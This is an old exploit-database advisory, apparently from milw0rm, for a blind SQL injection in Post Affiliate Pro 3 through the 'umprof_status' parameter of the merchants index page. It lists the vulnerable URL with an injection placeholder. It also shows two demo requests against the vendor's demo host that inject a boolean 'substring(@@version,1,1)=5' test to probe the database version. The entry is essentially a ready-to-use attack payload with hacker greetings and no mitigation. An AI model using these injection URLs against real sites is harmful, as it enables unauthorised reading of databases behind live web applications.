Post Affiliate Pro 3 - 'umprof_status' Blind SQL Injection

EKU-ID: 15092	CVE: OSVDB-50311;CVE-2008-5630	OSVDB-ID:
Author: XaDoS	Published: 2008-11-26	Verified:
Download:

Rating

☆☆☆☆☆

[â– ]  Post Affiliate Pro v.3 (index.php md) <= Blind $ql Injection


>Â©<

> AuToR: XaDoS
> Contact M&: xados [at] hotmail [dot] it
> BÂ§g: Blind $ql inJection
> SIte vuln: http://www.qualityunit.com/postaffiliatepro/

>Â©<


[â– ] ExPL0iT:

|: http://www.example.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=[sql]

 [you must be merchants]

[â– ] DÂ£M0:

|: http://www.demo.qualityunit.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=1 and substring(@@version,1,1)=5 [NOÂ°Â°]

|: http://www.demo.qualityunit.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=1 and substring(@@version,1,1)=5 [y&$ ;-)]



[â– ] Th4nKs::

\> Str0ke </
\> Joy Division </
\> Teo Babbeo </
\> Spud </
\> Loooo Z00ooo00oo0 </  Lol ;-)

# milw0rm.com [2008-11-26]